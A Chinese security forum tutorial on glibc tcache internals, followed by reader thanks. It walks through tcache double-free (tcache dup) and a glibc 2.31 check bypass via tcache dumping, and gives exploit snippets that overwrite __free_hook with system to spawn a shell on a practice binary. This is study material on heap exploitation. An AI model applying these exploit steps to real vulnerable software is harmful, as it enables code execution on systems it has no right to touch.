吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8123|回复: 44
收起左侧

[系统底层] 从零开始的Linux堆利用(十四)——Tcache

  [复制链接]
呆毛王与咖喱棒 发表于 2021-12-30 16:29
本帖最后由 呆毛王与咖喱棒 于 2024-2-7 13:47 编辑

tcache

tcache的全称是thread local cache,是glibc中性能优化的一种方式,但是tcache实现中引入了一些新的安全问题,导致对于堆的漏洞利用甚至更简单了起来。

这个机制的目的是借鉴了jemalloc中的magazine,目的是缓解不同线程之间在堆分配时的资源竞争

glibc中为了防止线程之间共用堆导致出现问题,在每一个线程调用malloc时都会创建一个新的arena

但是这个arena的数量是有限制的,如果超过了进程分配的处理器核数,更多的线程就需要共享堆了,进而由于线程同步相关问题增加了锁,这就导致一部分的线程在运行时可能需要阻塞,等待其他的线程用完堆之后才能使用

tcache就是为了对这种情况进行优化而引入的(GLIBC2.26及更新的版本),每一个线程会有一个tcache,free的内容会被link到tcache中,而不是直接link到arena中

使用一个简单的例子来演示一下,程序的libc是开启了tcache的glibc2.28

a = malloc(0x18);
b = malloc(0x18);

直接malloc两次0x20的chunk,在gdb中查看



image-20211223184016716.png

发现在程序一开始有一个大小0x250的chunk

之后才是我们申请的两个0x20大小的chunk

执行free(a)可以看到


image-20211223184315219.png

这里有三个地方发生了变化,首先是我们申请的chunk被加入到了tcachebin中

上面0x251的区域中增加了一个指向free掉位置的指针,以及一个1

这里堆最开始就是Tcache,Tcache的结构是这样两部分

首先是Counts,大小是0x40,每一个项是一个字节(GLIBC2.26-2.29中是一字节,2.30以上是二字节),表示一个大小的chunk的数量;

之后是Entries,每一项是一个字大小(64位系统是8字节)

因此如果tcache大小为0x250,那么说明GLIBC版本在2.26到2.29之间;如果tcache大小是0x290,那么GLIBC版本在2.30以上;

超过了0x410的chunk在free掉的时候就会直接放到unsortedbin中了

tcache dup

接下来介绍tcache dup,是tcache的double free


image-20211226222618054.png

这个程序的功能也和之前类似是一个典型的菜单

image-20211226222824964.png

程序的漏洞是free掉一个已有的chunk之后没有将指针清零

这导致程序存在double free的漏洞;

并且由于tcache的存在,直接free掉一个chunk两次就可以得到一个重叠的空间

chunk_A = malloc(0x18, "aaaa")
free(chunk_A)
free(chunk_A)

malloc(0x18,p64(elf.sym.target))
malloc(0x18,'aaaa')
malloc(0x18,"Much Win\x00")

任意地址写的方法就这样很简单的完成了

tcache dup的利用属于很简单了,类似于fastbin dup,但是检查的字段还更少

获取代码执行能力也很简单,直接修改free_hook为system即可

chunk_A = malloc(0x18,"aaaa")
free(chunk_A)
free(chunk_A)

malloc(0x18, p64(libc.sym.__free_hook))
binsh = (0x18, "/bin/sh\x00")
malloc(0x18, p64(libc.sym.system))

free(binsh)

运行效果


image-20211226224652752.png

tcache dumping

前一节涉及到的tcache dup在glibc2.29中得到了修复

首先试一下glibc 2.31链接的程序中tcache dup是否还有效

直接简单的尝试double free

chunk_A = malloc(0x18, "aaaa")
free(chunk_A)
free(chunk_A)

但是程序出现了报错,输出了

free(): double free detected in tcache 2

这样的结果,那么尝试一下像fastbin dup中的方法

chunk_A = malloc(0x18, "AAAA")
chunk_B = malloc(0x18, "BBBB")

free(chunk_A)
free(chunk_B)
free(chunk_A)

这样执行仍然会报这样的错误,那么具体查看一下产生报错的原因

查看gdb中的__int_free函数中具体报错的代码


image-20211229201217179.png

发现这里比较的是一个e->key==tcache

e指的是要被free的目标chunk,比较的是要被free的chunk的key字段和tcache的地址

关于这个key字段,可以看一下free掉之后tcache中的bins


image-20211229202747649.png

可以看到其中user data的第一个字段是fd

之后紧接着的一个值0x603010就是这个key字段


image-20211229203702950.png

在glibc 2.29之后的版本,在被free到tcachebin之后第二个qword就会被设置为key,指向tcache被写入的位置

这个key就是一种标志,表示这个chunk已经被free掉了,用于避免double free

不过实际上malloc也并不是完全确定这个位置指向了tcache就一定是一个free的,因为这也有可能存在随机的数据恰好指向tcache的情况,因此源代码中也需要再检查一下


这里的代码接下来遍历了tcache的所有项,如果tcache中已经存在了这个要被free掉的目标,就报错,否则才能正常free掉

for (tmp = tcache->entries[tc_idx];tmp;tmp=tmp->next)
  if(tmp == e)
    malloc_printerr("free(): double free detected in tcache 2");

这里是用一个glibc 2.31版本链接的demo做一 下测试


image-20211229193854333.png

链接到的版本是2.31版本,为了进一步理解tcache,这里再分析一个demo

image-20211229194418642.png

首先申请14个大小为0x18的chunk

之后将这14个chunk全部free掉,下断点断在第13行

image-20211229194823554.png

这时可以发现前7个chunk被放入到了tcachebin中

之后的7个就是正常放在大小为0x20的fastbin中

这里这个7到底是哪里决定的呢?在gdb中输入mp查看这个结构的值

可以看到mp结构中有一项tcache_count,这个值就是决定了tcache每一个大小允许的数量


image-20211229195843700.png

接下来继续执行,程序又malloc了7次,这个过程优先将tcache的内容申请出来,也就是说tcache被清空,而fastbin还是有7项


image-20211230153834537.png

接下来如果再申请一次会发生什么呢?

image-20211230154122876.png

发现fastbin[0]被拿出来用于这一次的申请,剩下的所有fastbin全部都被加入到了tcache中

这个过程就是tcache dumping

这一机制存在的原因可以理解为,堆管理器发现这个线程很频繁的需要这个大小的空间,为了减少频繁检查的消耗,干脆直接把目前内存里这个大小的fastbin都划给这个线程得了,于是一股脑将剩余的fastbin都先加入到tcache中

这里有一个地方需要注意,fastbin中fd指向的是chunk的metadata开始位置,而tcache的next字段指向的是userdata部分;

那么总结一下,只有将tcache填满之后才会申请的内容就会放入常规的bins;而在tcache为空时申请一次fastbin会将这个fastbin中的剩余项都加入到tcache中

回到这个2.31版本的tcache_dup,在这个2.31版本的例子中检查了e->key==tcache导致无法绕过double free的检查

而只有通过直接free到tcache时才会经过这条检查,如果是将tcache填满之后从fastbin移动到tcachebin就不会再经过这个检查

for i in range(7):
  malloc(0x18, "aaaa")

dup = malloc(0x18,'aaaa')

for i in range(7):
  free(i)

free(dup)

首先填满tcache之后,再free掉一个同样大小的chunk,根据前面demo的实验我们知道这个dup应该是常规的放入到fastbin中

这之后将tcache中的chunk都申请出来,因为tcache机制本身就是为了方便各个线程有一块自己的堆,tcache的内容会比fastbin的内容优先申请出来

for i in range(7):
  malloc(0x18, "aaaa")

dup = malloc(0x18,'aaaa')

for i in range(7):
  free(i)

free(dup)

for i in range(7):
  malloc(0x18, 'aaaa')

在这个状态下再次free(dup)

虽然会检查e->key==tcache,但是由于dup这个chunk之前是被free到了fastbin中,并没有设置key这个字段,因此可以绕过这一检查,最终使得dup同时被加入到了tcachebin和fastbin中


image-20211230145502166.png

这之后先再申请一次,修改掉fd指针

malloc(0x18, p64(elf.sym.target))

看到这时fastbin的fd变成了0x602010,即target的位置


image-20211230152849072.png

由于这时用到的是glibc的2.31版本,已经对fastbin_dup这样的问题做了检查,增加了针对fastbin size字段的检查,类似于在高版本House of Rabbit中看到的内容

所以这时我们没办法简单的利用fastbin dup,这就是需要tcache dumping的地方了

这时tcache为空,fastbin中有两项

再申请一次,这个操作首先会将0x603370位置的fastbin用于满足这次的申请,另外会将接下来的fastbin——即我们伪造link到fastbin上的target——加入到tcache中

for i in range(7):
  malloc(0x18, "aaaa")

dup = malloc(0x18,'aaaa')

for i in range(7):
  free(i)

free(dup)

for i in range(7):
  malloc(0x18, 'aaaa')

free(dup)

malloc(0x18, p64(elf.sym.target))

# 触发tcache dumping
malloc(0x18, 'aaaa')

这时查看内存,发现好像和我们想象中不太一样


image-20211230155223920.png

这时可以控制的内存正好是target下面的空间,有一个0x10的偏移,所以需要修改一下伪造fd时的值,那么设置成-0x10呢?

malloc(0x18, p64(elf.sym.target-0x10))

这时也有一些问题,因为target值的部分正好会被当成fastbin的fd来解析,在触发tcache dumping的过程中会尝试去这个不可读写的地址继续将其加入到tcache中

所以这里需要再向前面减8

for i in range(7):
  malloc(0x18, "aaaa")

dup = malloc(0x18,'aaaa')

for i in range(7):
  free(i)

free(dup)

for i in range(7):
  malloc(0x18, 'aaaa')

free(dup)

malloc(0x18, p64(elf.sym.target-0x18))

# 触发tcache dumping
malloc(0x18, 'aaaa')

malloc(0x18, p64(0)+b"Much Win\x00")

完成了任意地址写,接下来利用类似的方法完成任意代码执行就很轻松了,直接修改__free_hook

由于__free_hook本身没有值,不会被解析为fastbin的fd,这次就不需要再向前偏移8了

for i in range(7):
  malloc(0x18, "aaaa")

dup = malloc(0x18,'aaaa')

for i in range(7):
  free(i)

free(dup)

for i in range(7):
  malloc(0x18, 'aaaa')

free(dup)

malloc(0x18, p64(libc.sym.__free_hook-0x10))
binsh = malloc(0x18, '/bin/sh\x00')
malloc(0x18, p64(libc.sym.system))
free(binsh)

运行之后就可以获得shell


image-20211230160407294.png

---
Update: 2024/02/07 原本的服务器到期了,因为人在国外不太方便备案就没有续费,目前这几篇文章图片都失效了,近期会更新一下图片链接

免费评分

参与人数 10吾爱币 +8 热心值 +9 收起 理由
tracyshenzl + 1 + 1 谢谢@Thanks!
timewl + 1 + 1 我很赞同!
jackies + 1 + 1 热心回复!
earnestlive + 1 我很赞同!
c137r1ck + 1 + 1 我很赞同!
zifeiyue + 1 谢谢@Thanks!
RustYou + 1 我很赞同!
OYyunshen + 1 + 1 热心回复!
longestusername + 1 + 1 谢谢@Thanks!
huluobo312 + 1 + 1 我很赞同!tql,追更追更!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| 呆毛王与咖喱棒 发表于 2022-3-8 14:48
沙漠海2010 发表于 2022-1-26 09:32
为什么要在线程里malloc,可以在线程外先malloc再给线程用啊

没太明白您的问题的意思
意思是在创建线程前就先申请内存嘛?如果是这样的话这块内存就是很多个进程共用的了呀,那就更容易出现安全问题,还有条件竞争之类的漏洞。另外每个线程运行的时候如果function内部需要一些空间,不就会申请内存咩?
qingshanyijiu 发表于 2021-12-30 17:33
头像被屏蔽
jinzhu160 发表于 2021-12-30 19:02
ouyanglaogou 发表于 2021-12-30 20:52
学习了学习了
numbersi 发表于 2021-12-31 09:06
学习学习~~~
hiodis 发表于 2022-1-1 11:17

感谢分享,新年快乐            
18259118093 发表于 2022-1-2 10:45
感谢大佬分享
往事不如烟 发表于 2022-1-2 19:38
感谢大佬分享
YycAway 发表于 2022-1-3 20:23
感谢分享
hzwang1966 发表于 2022-1-15 09:19
学习学习。。。mark
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 19:40

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表